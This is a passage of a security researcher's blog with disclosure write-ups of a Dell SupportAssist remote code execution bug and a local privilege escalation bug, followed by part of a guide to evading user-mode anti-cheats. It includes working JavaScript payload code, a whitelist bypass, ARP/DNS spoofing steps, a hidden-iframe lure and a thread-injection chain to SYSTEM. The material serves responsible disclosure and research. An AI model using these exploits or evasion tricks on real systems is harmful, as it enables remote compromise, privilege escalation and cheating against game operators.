At first, the website tries to detect SupportAssist by looping through the aformentioned service ports and connecting to the Service Method “isalive”. What was interesting was that it was passing a “Signature” parameter and a “Expires” parameter. To find out more, I reversed the javascript side of the browser. Here’s what I found out:

  1. First, the browser makes a request to https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken and gets the latest “Token”, or the signatures I was talking about earlier. The endpoint also provides the “Expires token”. This solves the signature problem.
  2. Next, the browser makes a request to each service port with a style like this: http://127.0.0.1:[SERVICEPORT]/clientservice/isalive/?expires=[EXPIRES]&signature=[SIGNATURE].
  3. The SupportAssist client then responds when the right service port is reached, with a style like this:
{
	"isAlive": true,
	"clientVersion": "[CLIENT VERSION]",
	"requiredVersion": null,
	"success": true,
	"data": null,
	"localTime": [EPOCH TIME],
	"Exception": {
		"Code": null,
		"Message": null,
		"Type": null
	}
}
  1. Once the browser sees this, it continues with further requests using the now determined
    service port.

Some concerning factors I noticed while looking at different types of requests I could make is that I could get a very detailed description of every piece of hardware connected to my computer using the “getsysteminfo” route. Even through Cross Site Scripting, I was able to access this data, which is an issue because I could seriously fingerprint a system and find some sensitive information.

Here are the methods the agent exposes:

clientservice_getdevicedrivers - Grabs available updates.
diagnosticsservice_executetip - Takes a tip guid and provides it to the PC Doctor service (Dell Hardware Support).
downloadservice_downloadfiles - Downloads a JSON array of files.
clientservice_isalive - Used as a heartbeat and returns basic information about the agent.
clientservice_getservicetag - Grabs the service tag.
localclient_img - Connects to SignalR (Dell Hardware Support).
diagnosticsservice_getsysteminfowithappcrashinfo - Grabs system information with crash dump information.
clientservice_getclientsysteminfo - Grabs information about devices on system and system health information optionally.
diagnosticsservice_startdiagnosisflow - Used to diagnose issues on system.
downloadservice_downloadmanualinstall - Downloads a list of files but does not execute them.
diagnosticsservice_getalertsandnotifications - Gets any alerts and notifications that are pending.
diagnosticsservice_launchtool - Launches a diagnostic tool.
diagnosticsservice_executesoftwarefixes - Runs remediation UI and executes a certain action.
downloadservice_createiso - Download an ISO.
clientservice_checkadminrights - Check if the Agent privileged.
diagnosticsservice_performinstallation - Update SupportAssist.
diagnosticsservice_rebootsystem - Reboot system.
clientservice_getdevices - Grab system devices.
downloadservice_dlmcommand - Check on the status of or cancel an ongoing download.
diagnosticsservice_getsysteminfo - Call GetSystemInfo on PC Doctor (Dell Hardware Support).
downloadservice_installmanual - Install a file previously downloaded using downloadservice_downloadmanualinstall.
downloadservice_createbootableiso - Download bootable iso.
diagnosticsservice_isalive - Heartbeat check.
downloadservice_downloadandautoinstall - Downloads a list of files and executes them.
clientservice_getscanresults - Gets driver scan results.
downloadservice_restartsystem - Restarts the system.

The one that caught my interest was downloadservice_downloadandautoinstall. This method would download a file from a specified URL and then run it. This method is ran by the browser when the user needs to install certain drivers that need to be installed automatically.

  1. After finding which drivers need updating, the browser makes a POST request to “http://127.0.0.1:[SERVICE PORT]/downloadservice/downloadandautoinstall?expires=[EXPIRES]&signature=[SIGNATURE]”.
  2. The browser sends a request with the following JSON structure:
[
	{
	"title":"DOWNLOAD TITLE",
	"category":"CATEGORY",
	"name":"FILENAME",
	"location":"FILE URL",
	"isSecure":false,
	"fileUniqueId":"RANDOMUUID",
	"run":true,
	"installOrder":2,
	"restricted":false,
	"fileStatus":-99,
	"driverId":"DRIVER ID",
	"dupInstallReturnCode":0,
	"cssClass":"inactive-step",
	"isReboot":false,
	"scanPNPId":"PNP ID",
	"$$hashKey":"object:210"
	}
] 
  1. After doing the basic integrity checks we discussed before, ClientServiceHandler.ProcessRequest sends the ServiceMethod and the parameters we passed to ClientServiceHandler.HandlePost.
  2. ClientServiceHandler.HandlePost first puts all parameters into a nice array, then calls ServiceMethodHelper.CallServiceMethod.
  3. ServiceMethodHelper.CallServiceMethod acts as a dispatch function, and calls the function given the ServiceMethod. For us, this is the “downloadandautoinstall” method:
if (service_Method == "downloadservice_downloadandautoinstall")
{
	string files5 = (arguments != null && arguments.Length != 0 && arguments[0] != null) ? arguments[0].ToString() : string.Empty;
	result = DownloadServiceLogic.DownloadAndAutoInstall(files5, false);
} 

Which calls DownloadServiceLogic.DownloadAutoInstall and provides the files we sent in the JSON payload.
6. DownloadServiceLogic.DownloadAutoInstall acts as a wrapper (i.e handling exceptions) for DownloadServiceLogic._HandleJson.
7. DownloadServiceLogic._HandleJson deserializes the JSON payload containing the list of files to download, and does the following integrity checks:

foreach (File file in list)
{
	bool flag2 = file.Location.ToLower().StartsWith("http://");
	if (flag2)
	{
		file.Location = file.Location.Replace("http://", "https://");
	}
	bool flag3 = file != null && !string.IsNullOrEmpty(file.Location) && !SecurityHelper.CheckDomain(file.Location);
	if (flag3)
	{
		DSDLogger.Instance.Error(DownloadServiceLogic.Logger, "InvalidFileException being thrown in _HandleJson method");
		throw new InvalidFileException();
	}
}
DownloadHandler.Instance.RegisterDownloadRequest(CreateIso, Bootable, Install, ManualInstall, list);

The above code loops through every file, and checks if the file URL we provided doesn’t start with http:// (if it does, replace it with https://), and checks if the URL matches a list of Dell’s download servers (not all subdomains):

public static bool CheckDomain(string fileLocation)
{
	List<string> list = new List<string>
	{
		"ftp.dell.com",
		"downloads.dell.com",
		"ausgesd4f1.aus.amer.dell.com"
	};
	
	return list.Contains(new Uri(fileLocation.ToLower()).Host);
} 
  1. Finally, if all these checks pass, the files get sent to DownloadHandler.RegisterDownloadRequest at which point the SupportAssist downloads and runs the files as Administrator.

This is enough information we need to start writing an exploit.

Exploitation

The first issue we face is making requests to the SupportAssist client. Assume we are in the context of a Dell subdomain, we’ll get into how exactly we do this further in this section. I decided to mimic the browser and make requests using javascript.

First things first, we need to find the service port. We can do this by polling through the predefined service ports, and making a request to “/clientservice/isalive”. The issue is that we need to also provide a signature. To get the signature that we pass to isalive, we can make a request to “https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken”.

This isn’t as straight-forwards as it might seem. The “Access-Control-Allow-Origin” of the signature url is set to “https://www.dell.com”. This is a problem, because we’re in the context of a subdomain, probably not https. How do we get past this barrier? We make the request from our own servers!

The signatures that are returned from “getdsdtoken” are applicable to all machines, and not unique. I made a small PHP script that will grab the signatures:

<?php
header('Access-Control-Allow-Origin: *');
echo file_get_contents('https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken');
?> 

The header call allows anyone to make a request to this PHP file, and we just echo the signatures, acting as a proxy to the “getdsdtoken” route. The “getdsdtoken” route returns JSON with signatures and an expire time. We can just use JSON.parse on the results to place the signatures into a javascript object.

Now that we have the signature and expire time, we can start making requests. I made a small function that loops through each server port, and if we reach it, we set the server_port variable (global) to the port that responded:

function FindServer() {
	ports.forEach(function(port) {
		var is_alive_url = "http://127.0.0.1:" + port + "/clientservice/isalive/?expires=" + signatures.Expires + "&signature=" + signatures.IsaliveToken;
		var response = SendAsyncRequest(is_alive_url, function(){server_port = port;});
	});
} 

After we have found the server, we can send our payload. This was the hardest part, we have some serious obstacles before “downloadandautoinstall” executes our payload.

Starting with the hardest issue, the SupportAssist client has a hard whitelist on file locations. Specifically, its host must be either "ftp.dell.com", "downloads.dell.com", or "ausgesd4f1.aus.amer.dell.com". I almost gave up at this point, because I couldn’t find an open redirect vulnerability on any of the sites. Then it hit me, we can do a man-in-the-middle attack.

If we could provide the SupportAssist client with a http:// URL, we could easily intercept and change the response! This somewhat solves the hardest challenge.

The second obstacle was designed specifically to counter my solution to the first obstacle. If we look back to the steps I outlined, if the file URL starts with http://, it will be replaced by https://. This is an issue, because we can’t really intercept and change the contents of a proper https connection. The key bypass to this mitigation was in this sentence: “if the URL starts with http://, it will be replaced by https://”. See, the thing was, if the URL string did not start with http://, even if there was http:// somewhere else in the string, it wouldn’t replace it. Getting a URL to work was tricky, but I eventually came up with “ http://downloads.dell.com/abcdefg” (the space is intentional). When you ran the string through the starts with check, it would return false, because the string starts with “ “, thus leaving the “http://” alone.

I made a function that automated sending the payload:

function SendRCEPayload() {
	var auto_install_url = "http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken;

	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST", auto_install_url, true);

	var files = [];
	
	files.push({
	"title": "SupportAssist RCE",
	"category": "Serial ATA",
	"name": "calc.EXE",
	"location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY
	"isSecure": false,
	"fileUniqueId": guid(),
	"run": true,
	"installOrder": 2,
	"restricted": false,
	"fileStatus": -99,
	"driverId": "FXGNY",
	"dupInstallReturnCode": 0,
	"cssClass": "inactive-step",
	"isReboot": false,
	"scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10",
	"$$hashKey": "object:210"});
	
	xmlhttp.send(JSON.stringify(files)); 
}

Next up was the attack from the local network. Here are the steps I take in the external portion of my proof of concept (attacker's machine):

  1. Grab the interface IP address for the specified interface.
  2. Start the mock web server and provide it with the filename of the payload we want to send. The web server checks if the Host header is downloads.dell.com and if so sends the binary payload. If the request Host has dell.com in it and is not the downloads domain, it sends the javascript payload which we mentioned earlier.
  3. To ARP Spoof the victim, we first enable ip forwarding then send an ARP packet to the victim telling it that we're the router and an ARP packet to the router telling it that we're the victim machine. We repeat these packets every few seconds for the duration of our exploit. On exit, we will send the original mac addresses to the victim and router.
  4. Finally, we DNS Spoof by using iptables to redirect DNS packets to a netfilter queue. We listen to this netfilter queue and check if the requested DNS name is our target URL. If so, we send a fake DNS packet back indicating that our machine is the true IP address behind that URL.
  5. When the victim visits our subdomain (either directly via url or indirectly by an iframe), we send it the malicious javascript payload which finds the service port for the agent, grabs the signature from the php file we created earlier, then sends the RCE payload. When the RCE payload is processed by the agent, it will make a request to downloads.dell.com which is when we return the binary payload.

You can read Dell's advisory here.

Demo

Here's a small demo video showcasing the vulnerability. You can download the source code of the proof of concept here.

The source code of the dellrce.html file featured in the video is:

<h1>CVE-2019-3719</h1>
<h1>Nothing suspicious here... move along...</h1>
<iframe src="http://www.dellrce.dell.com" style="width: 0; height: 0; border: 0; border: none; position: absolute;"></iframe>

Timeline

10/26/2018 - Initial write up sent to Dell.

10/29/2018 - Initial response from Dell.

11/22/2018 - Dell has confirmed the vulnerability.

11/29/2018 - Dell scheduled a "tentative" fix to be released in Q1 2019.

01/28/2019 - Disclosure date extended to March.

03/13/2019 - Dell is still fixing the vulnerability and has scheduled disclosure for the end of April.

04/18/2019 - Vulnerability disclosed as an advisory.

Local Privilege Escalation on Dell machines running Windows

19 July 2019 at 14:30
Local Privilege Escalation on Dell machines running Windows

In May, I published a blog post detailing a Remote Code Execution vulnerability in Dell SupportAssist. Since then, my research has continued and I have been finding more and more vulnerabilities. I strongly suggest that you read my previous blog post, not only because it provides a solid conceptual understanding of Dell SupportAssist, but because it's a very interesting bug.

This blog post will cover my research into a Local Privilege Escalation vulnerability in Dell SupportAssist. Dell SupportAssist is advertised to "proactively check the health of your system’s hardware and software". Unfortunately, Dell SupportAsssist comes pre-installed on most of all new Dell machines running Windows. If you're on Windows, never heard of this software, and have a Dell machine - chances are you have it installed.

Discovery

Amusingly enough, this bug was discovered while I was doing my write-up for the previous remote code execution vulnerability. For switching to previous versions of Dell SupportAssist, my method is to stop the service, terminate the process, replace the binary files with an older version, and finally start the service. Typically, I do this through a neat tool called Process Hacker, which is a vamped up version of the built-in Windows Task Manager. When I started the Dell SupportAssist agent, I saw this strange child process.

Local Privilege Escalation on Dell machines running Windows

I had never noticed this process before and instinctively I opened the process to see if I could find more information about it.

Local Privilege Escalation on Dell machines running Windows

We straight away can tell that it's a .NET Application given the ".NET assemblies" and ".NET performance" tabs are populated. Browsing various sections of the process told us more about it. For example, the "Token" tab told us that this was an unelevated process running as the current user.

Local Privilege Escalation on Dell machines running Windows

While scrolling through the "Handles" tab, something popped out at me.

Local Privilege Escalation on Dell machines running Windows

For those who haven't used Process Hacker in the past, the cyan color indicates that a handle is marked as inheritable. There are plenty of processes that have inheritable handles, but the key part about this handle was the process name it was associated with. This was a THREAD handle to SupportAssistAgent.exe, not SupportAssistAppWire.exe. SupportAssistAgent.exe was the parent SYSTEM process that created SupportAssistAppWire.exe - a process running in an unelevated context. This wasn't that big of a deal either, a SYSTEM process may share a THREAD handle to a child process - even if it's unelevated, but with restrictive permissions such as THREAD_SYNCHRONIZE. What I saw next is where the problem was evident.

Local Privilege Escalation on Dell machines running Windows

This was no restricted THREAD handle that only allowed for basic operations, this was straight up a FULL CONTROL thread handle to SupportAssistAgent.exe. Let me try to put this in perspective. An unelevated process has a FULL CONTROL handle to a thread in a process running as SYSTEM. See the issue?

Let's see what causes this and how we can exploit it.

Reversing

Every day, Dell SupportAssist runs a "Daily Workflow Task" that performs several actions typically to execute routine checks such as seeing if there is a new notification that needs to be displayed to the user. Specifically, the Daily Workflow Task will:

  • Attempt to query the latest status of any cases you have open
  • Clean up the local database of unneeded entries
  • Clean up log files older than 30 days
  • Clean up reports older than 5 days (primarily logs sent to Dell)
  • Clean up analytic data
  • Registers your device with Dell
  • Upload all your log files if it's been 30-45 days
  • Upload any past failed upload attempts
  • If it's been 14 days since the Agent was first started, issue an "Optimize System" notification.

The important thing to remember is that all of these checks were performed on a daily basis. For us, the last check is most relevant, and it's why Dell users will receive this "Optimize System" notification constantly.

Local Privilege Escalation on Dell machines running Windows

If you haven't run the PC Doctor optimization scan for over 14 days, you'll see this notification every day, how nice. After determining a notification should be created, the method OptimizeSystemTakeOverNotification will call the PushNotification method to issue an "Optimize System" notification.

For most versions of Windows 10, PushNotification will call a method called LaunchUwpApp. LaunchUwpApp takes the following steps:

  1. Grab the active console session ID. This value represents the session ID for the user that is currently logged in.
  2. For every process named "explorer", it will check if its session ID matches the active console session ID.
  3. If the explorer process has the same session ID, the agent will duplicate the token of the process.
  4. Finally, if the duplicated token is valid, the Agent will start a child process named SupportAssistAppWire.exe, with InheritHandles set to true.
  5. SupportAssistAppWire.exe will then create the notification.

The flaw in the code can be seen in the call to CreateProcessAsUser.

Local Privilege Escalation on Dell machines running Windows

As we saw in the Discovery section of this post, SupportAssistAgent.exe, an elevated process running as SYSTEM starts a child process using the unelevated explorer token and sets InheritHandles to true. This means that all inheritable handles that the Agent has will be inherited by the child process. It turns out that the thread handle for the service control handler for the Agent is marked as inheritable.

Exploiting

Now that we have a way of getting a FULL CONTROL thread handle to a SYSTEM process, how do we exploit it? Well, the simplest way I thought of was to call LoadLibrary to load our module. In order to do this, we need to get past a few requirements.

  1. We need to be able to predict the address of a buffer that contains a file path that we can access. For example, if we had a buffer with a predictable address that contained "C:\somepath\etc...", we could write a DLL file to that path and pass LoadLibrary the buffer address.
  2. We need to find a way to use QueueUserApc to call LoadLibrary. This means that we need to have the thread become alertable.

I thought of various ways I could have my string loaded into the memory of the Agent, but the difficult part was finding a way to predict the address of the buffer. Then I had an idea. Does LoadLibrary accept files that don’t have a binary extension?

Local Privilege Escalation on Dell machines running Windows

It appeared so! This meant that the file path in a buffer only needed to be a file we can access; not necessarily have a binary extension such as .exe or .dll. To find a buffer that was already in memory, I opted to use Process Hacker which includes a Strings utility with built-in filtering. I scanned for strings in an Image that contained C:\. The first hit I got shocked me.

Local Privilege Escalation on Dell machines running Windows

Look at the address of the first string, 0x180163f88... was a module running without ASLR? Checking the modules list for the Agent, I saw something pretty scary.

Local Privilege Escalation on Dell machines running Windows

A module named sqlite3.dll had been loaded with a base address of 0x180000000. Checking the module in CFF Explorer confirmed my findings.

Local Privilege Escalation on Dell machines running Windows

The DLL was built without the IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE characteristic, meaning that ASLR was disabled for it. Somehow this got into the final release build of a piece of software deployed on millions of endpoints. This weakness makes our lives significantly easier because the buffer contained the path c:\dev\sqlite\core\sqlite3.pdb, a file path we could access!

We already determined that the extension makes no difference meaning that if I write a DLL to c:\dev\sqlite\core\sqlite3.pdb and pass the buffer pointer to LoadLibrary, the module we wrote to c:\dev\sqlite\core\sqlite3.pdb should be loaded.

Now that we got the first problem sorted, the next part of our exploitation is to get the thread to be alertable. What I found in my testing is that this thread was the service control handler for the Agent. This meant that the thread was in a Wait Non-Alertable state because it was waiting for a service control signal to come through.

Local Privilege Escalation on Dell machines running Windows

Checking the service permissions for the Agent, I found that the INTERACTIVE group had some permissions. Luckily, INTERACTIVE includes unprivileged users, meaning that the permissions applied directly to us.

Local Privilege Escalation on Dell machines running Windows

Both Interrogate and User-defined control sends a service signal to the thread, meaning we can get out of the Wait state. Since the thread continued execution after receiving a service control signal, we can use SetThreadContext and set the RIP pointer to a target function. The function NtTestAlert was perfect for this situation because it immediately makes the thread alertable and executes our APCs.

To summarize the exploitation process:

  1. The stager monitors for the child SupportAssistAppWire.exe process.
  2. The stager writes a malicious APC DLL to C:\dev\sqlite\core\sqlite3.pdb.
  3. Once the child process is created, the stager injects our malicious DLL into the process.
  4. The DLL finds the leaked thread handle using a brute-force method (NtQuerySystemInformation works just as well).
  5. The DLL sets the RIP register of the Agent's thread to NtTestAlert.
  6. The DLL queues an APC passing in LoadLibraryA for the user routine and 0x180163f88 (buffer pointer) as the first argument.
  7. The DLL issues an INTERROGATE service control to the service.
  8. The Agent then goes to NtTestAlert triggering the APC which causes the APC DLL to be loaded.
  9. The APC DLL starts our malicious binary (for the PoC it's command prompt) while in the context of a SYSTEM process, causing local privilege escalation.

Dell's advisory can be accessed here.

Demo

Privacy concerns

After spending a long time reversing the Dell SupportAssist agent, I've come across a lot of practices that are in my opinion very questionable. I'll leave it up to you, the reader, to decide what you consider acceptable.

  1. On most exceptions, the agent will send the exception detail along with your service tag to Dell's servers.
  2. Whenever a file is executed for Download and Auto install, Dell will send the file name, your service tag, the status of the installer, and the logs for that install to their servers.
  3. Whenever you scan for driver updates, any updates found will be sent to Dell’s servers alongside your service tag.
  4. Whenever Dell retrieves scan results about your bios, pnp drivers, installed programs, and operating system information, all of it is uploaded to Dell servers.
  5. Every week your entire log directory is uploaded to Dell servers (yes, Dell logs by default).
  6. Every two weeks, Dell uploads a “heartbeat” including your device details, alerts, software scans, and much more.

You can disable some of this, but it’s enabled by default. Think about the millions of endpoints running Dell SupportAssist…

Timeline

04/25/2019 - Initial write up and proof of concept sent to Dell.

04/26/2019 - Initial response from Dell.

05/08/2019 - Dell has confirmed the vulnerability.

05/27/2019 - Dell has a fix ready to be released within 2 weeks.

06/19/2019 - Vulnerability disclosed by Dell as an advisory.

06/28/2019 - Vulnerability disclosed at RECON Montreal 2019.

Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats

2 December 2019 at 15:05
Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats

The market for cheating in video games has grown year after year, incentivizing game developers to implement stronger anti-cheat solutions. A significant amount of game companies have taken a rather questionable route, implementing more and more invasive anti-cheat solutions in a desperate attempt to combat cheaters, still ending up with a game that has a large cheating community. This choice is understandable. A significant amount of cheaters have now moved into the kernel realm, challenging anti-cheat developers to now design mitigations that combat an attacker who shares the same privilege level. However, not all game companies have followed this invasive path, some opting to use anti-cheats that reside in the user-mode realm.

I've seen a significant amount of cheaters approach user-mode anti-cheats the same way they would approach a kernel anti-cheat, often unknowingly making the assumption that the anti-cheat knows everything, and thus approaching them in an ineffective manner. In this article, we'll look at how to leverage our escalated privileges, as a cheater, to attack the insecure design these unprivileged solutions are built on.

Introduction

When attacking anything technical, one of the first steps I take is to try and put myself in the mind of a defender. For example, when I reverse engineer software for security vulnerabilities, putting myself in the shoes of the developer allows me to better understand the design of the application. Understanding the design behind the logic is critical for vulnerability research, as this often reveals points of weakness that deserve a dedicated look over. When it comes to anti-cheats, the first step I believe any attacker should take is understanding the scope of the application.

What I mean by scope is posing the question, What can the anti-cheat "see" on the machine? This question is incredibly important in researching these anti-cheats, because you may find blind spots on a purely design level. For user-mode anti-cheats, because they live in an unprivileged context, they're unable to access much and must be creative while developing detection vectors. Let's take a look at what access unprivileged anti-cheats truly have and how we can mitigate against it.

Investigating Detection Vectors

The Filesystem

Most access in Windows is restricted by the use of security descriptors, which dictate who has permissions on an object and how to audit the usage of the object.

For example, if a file or directory has the Users group in its security descriptor, i.e

Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats

That means pretty much any user on the machine can can access this file or directory. When anti-cheats are in an unprivileged context, they're strictly limited in what they can access on the filesystem, because they're unable to ignore these security descriptors. As a cheater, this provides the unique opportunity to abuse these security descriptors against them to stay under their radars.

Filesystem access is a large part of these anti-cheats because if you run a program with elevated privileges, the unprivileged anti-cheat cannot open a handle to that process. This is due to the difference between their elevation levels, but not being able to open the process is far from being game over. The first method anti-cheats can use to "access" the process is by just opening the process's file. More often than not, the security descriptor for a significant amount of files will be accessible from an unprivileged context.

For example, typically anything in the "Program Files" directory in the C: drive has a security descriptor that permits for READ and EXECUTE access to the Users group or allows the Administrators group FULL CONTROL on the directory. Since the Users group is permitted access unprivileged processes are able to access files in these directories. This is relevant for when you launch a cheating program such as Cheat Engine, one detection vector they have is just reading in the file of the process and checking for cheating related signatures.

Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats

NT Object Manager Leaks

Filesystem access is not the only trick user-mode anti-cheats have. The next relevant access these anti-cheats have is a significant amount of query access to the current session. In Windows, sessions are what separates active connections to the machine. For example, you being logged into the machine is a session and someone connected to another user via a Remote Desktop will have their own session too. Unprivileged anti-cheats can see almost everything going on in the session that the anti-cheat runs in. This significant access allows anti-cheats to develop strong detection vectors for a lot of different cheats.

Let's see what unprivileged processes can really see. One neat way to view what's going on in your session is by the use of the WinObj Sysinternals utility. WinObj allows you to see a plethora of information about the machine without any special privileges.

Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats

WinObj can be run with or without Administrator privileges, however, I suggest using Administrator privileges during investigation because sometimes you cannot "list" one of the directories above, but you can "list" sub-folders. For example, even for your own session, you cannot "list" the directory containing the BaseNamedObjects, but you can access it directly using the full path \Session\[session #]\BaseNamedObjects.

User-mode anti-cheat developers hunt for information leaks in these directories because the information leaks can be significantly subtle. For example, a significant amount of tools in kernel expose a device for IOCTL communication. Cheat Engine's kernel driver "DBVM" is an example of a more well-known issue.

Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats

Since by default Everyone can access the Device directory, they can simply check if any devices have a blacklisted name. More subtle leaks happen as well. For example, IDA Pro uses a mutex with a unique name, making it simple to detect when the current session has IDA Pro running.

Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats

Window Enumeration

A classic detection vector for all kinds of anti-cheats is the anti-cheat enumerating windows for certain characteristics. Maybe it's a transparent window that's always the top window, or maybe it's a window with a naughty name. Windows provide for a unique heuristic detection mechanism given that cheats often have some sort of GUI component.

To investigate these leaks, I used Process Hacker's "Windows" tab that shows what windows a process has associated with it. For example, coming back to the Cheat Engine example, there are plenty of windows anti-cheats can look for.

Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats

User-mode anti-cheats can enumerate windows via the use of EnumWindows API (or the API that EnumWindows calls) which allow them to enumerate every window in the current session. There can be many things anti-cheats look for in windows, whether that be the class, text, the process associated with the window, etc.

NtQuerySystemInformation

The next most lethal tool in the arsenal of these anti-cheats is NtQuerySystemInformation. This API allows even unprivileged processes to query a significant amount of information about what's going on in your computer.

There's too much data provided to cover all of it, but let's see some of the highlights of NtQuerySystemInformation.

  1. NtQuerySystemInformation with the class SystemProcessInformation provides a SYSTEM_PROCESS_INFORMATION structure, giving a variety amount of info about every process.
  2. NtQuerySystemInformation with the class SystemModuleInformation provides a RTL_PROCESS_MODULE_INFORMATION structure, giving a variety amount of info about every loaded driver.
  3. NtQuerySystemInformation with the class SystemHandleInformation provides a SYSTEM_HANDLE_INFORMATION structure, giving a list of every open handle in the system.
  4. NtQuerySystemInformation with the class SystemKernelDebuggerInformation provides a SYSTEM_KERNEL_DEBUGGER_INFORMATION structure, which tells the caller whether or not a kernel debugger is loaded (i.e WinDbg KD).
  5. NtQuerySystemInformation with the class SystemHypervisorInformation provides a SYSTEM_HYPERVISOR_QUERY_INFORMATION structure, indicating whether or not a hypervisor is present.
  6. NtQuerySystemInformation with the class SystemCodeIntegrityPolicyInformation provides a SYSTEM_CODEINTEGRITY_INFORMATION structure, indicating whether or not various code integrity options are enabled (i.e Test Signing, Debug Mode, etc).

This is only a small subset of what NtQuerySystemInformation exposes and it's important to remember these data sources while designing a secure cheat.

Circumventing Detection Vectors

Time for my favorite part. What's it worth if I just list all the possible ways for user-mode anti-cheats to detect you, without providing any solutions? In this section, we'll look over the detection vectors we mentioned above and see different ways to mitigate against them. First, let's summarize what we found.

  1. User-mode anti-cheats can use the filesystem to get a wide variety of access, primarily to access processes that are inaccessible via conventional methods (i.e OpenProcess).
  2. User-mode anti-cheats can use a variety of objects Windows exposes to get an insight into what is running in the current session and machine. Often times there may be hard to track information leaks that anti-cheats can use to their advantage, primarily because unprivileged processes have a lot of query power.
  3. User-mode anti-cheats can enumerate the windows of the current session to detect and flag windows that match the attributes of blacklisted applications.
  4. User-mode anti-cheats can utilize the enormous amount of data the NtQuerySystemInformation API provides to peer into what's going on in the system.

Circumventing Filesystem Detection Vectors

To restate the investigation section regarding filesystems, we found that user-mode anti-cheats could utilize the filesystem to get access they once did not have before. How can an attacker evade filesystem based detection routines? By abusing security descriptors.

Security descriptors are what truly dictates who has access to an object, and in the filesystem this becomes especially important in regards to who can read a file. If the user-mode anti-cheat does not have permission to read an object based on its security descriptors, then they cannot read that file. What I mean is, if you run a process as Administrator, preventing the anti-cheat from opening the process and then you remove access to the file, how can the anti-cheat read the file? This method of abusing security descriptors would allow an attacker to evade detections that involve opening processes through the filesystem.

You may feel wary when thinking about restricting unprivileged access to your process, but there are many subtle ways to achieve the same result. Instead of directly setting the security descriptor of the file or folder, why not find existing folders that have restricted security descriptors?

For example, the directory C:\Windows\ModemLogs already prevents unprivileged access.

Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats

The directory by default disallows unprivileged applications from accessing it, requiring at least Administrator privileges to access it. What if you put your naughty binary in here?

Another trick to evade information leaks in places such as the Device directory or BaseNamedObjects directory is to abuse their security descriptors to block access to the anti-cheat. I strongly advise that you utilize a new sandbox account, however, you can set the permissions of directories such as the Device directory to deny access to certain security principles.

Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats

Using security descriptors, we can block access to these directories to prevent anti-cheats from traversing them. All we need to do in the example above is run the game as this new user and they will not have access to the Device directory. Since security descriptors control a significant amount of access in Windows, it's important to understand how we can leverage them to cut off anti-cheats from crucial data sources.

The solution of abusing security descriptors isn't perfect, but the point I'm trying to make is that there is a lot of room for becoming undetected. Given that most anti-cheats have to deal with a mountain full of compatibility issues, it's unlikely that most abuse would be detected.

Circumventing Object Detection and Window Detection

I decided to include both Object and Window detection in this section because the circumvention can overlap. Starting with Object detection, especially when dealing with tools that you didn't create, understanding the information leaks a program has is the key to evading detection.

The example brought up in investigation was the Cheat Engine driver's device name and IDA's mutex. If you're using someone elses software, it's very important that you look for information leaks, primarily because they may not be designed with preventing information leaks in mind.

For example, I was able to make TitanHide undetected by several user-mode anti-cheat platforms by:

  1. Utilizing the previous filesystem trick to prevent access to the driver file.
  2. Changing the pipe name of TitanHide.
  3. Changing the log output of TitanHide.

These steps are simple and not difficult to conceptualize. Read through the source code, understand detection surface, and harden these surfaces. It can be as simple as changing a few names to become undetected.

When creating your own software that has the goal of combating user-mode anti-cheats, information leaks should be a key step when designing the application. Understanding the internals of Windows can help a significant amount, because you can better understand different types of leaks that can occur.

Transitioning to a generic circumvention for both object detection and window detection is through the abuse of multiple sessions. The mentioned EnumWindows API can only enumerate windows in the current session. Unprivileged processes from one session can't access another session's objects. How do you use multiple sessions? There are many ways, but here's the trick I used to bypass a significant amount of user-mode anti-cheats.

  1. I created a new user account.
  2. I set the security descriptor of my naughty tools to be inaccessible by an unprivileged context.
  3. I ran any of my naughty tools by switching users and running it as that user.

Those three simple steps are what allowed me to use even the most common utilities such as Cheat Engine against some of the top user-mode anti-cheats. Unprivileged processes cannot access the processes of another user and they cannot enumerate any objects (including windows) of another session. By switching users, we're entering another session, significantly cutting off the visibility anti-cheats have.

A mentor of mine, Alex Ionescu, pointed out a different approach to preventing an unprivileged process from accessing windows in the current session. He suggested that you can put the game process into a job and then set the JOB_OBJECT_UILIMIT_HANDLES UI restriction. This would restrict any processes in the job from accessing "USER" handles of processes outside of the job, meaning that the user-mode anti-cheat could not access windows in the same session. The drawback of this method is that the anti-cheat could detect this restriction and could choose to crash/flag you. The safest method is generally not touching the process itself and instead evading detection using generic methods (i.e switching sessions).

Circumventing NtQuerySystemInformation

Unlike the previous circumvention methods, evading NtQuerySystemInformation is not as easy. In my opinion, the safest way to evade detection routines that utilize NtQuerySystemInformation is to look at the different information classes that may impact you and ensure you do not have any unique information leaks through those classes.

Although NtQuerySystemInformation does give a significant amount of access, it's important to note that the data returned is often not detailed enough to be a significant threat to cheaters.

If you would like to restrict user-mode anti-cheat access to the API, there is a solution. NtQuerySystemInformation respects the integrity level of the calling process and significantly limits access to Restricted Callers. These callers are primarily those who have a token below the medium integrity level. This sandboxing can allow us to limit a significant amount of access to the user-mode anti-cheat, but with the cost of a potential detection vector. The anti-cheat could choose to crash if its ran under a medium integrity level which would stop this trick.

Insecure by Design, Weaponizing Windows against User-Mode Anti-Cheats

When at a low integrity level, processes:

  1. Cannot query handles.
  2. Cannot query kernel modules.
  3. Can only query other processes with equal or lower integrity levels.
  4. Can still query if a kernel debugger is present.

When testing with Process Hacker, I found some games with user-mode anti-cheats already crashed, perhaps because they received an ACCESS_DENIED error for one of their detection routines. An important reminder as with the previous job limit circumvention method. Since this trick does directly touch the process, it is possible anti-cheats can simply crash or flag you for setting their integrity level. Although I would strongly suggest you develop your cheats in a manner that does not allow for detection via NtQuerySystemInformation, this sandboxing trick is a way of suppressing some of the leaked data.

Test Signing

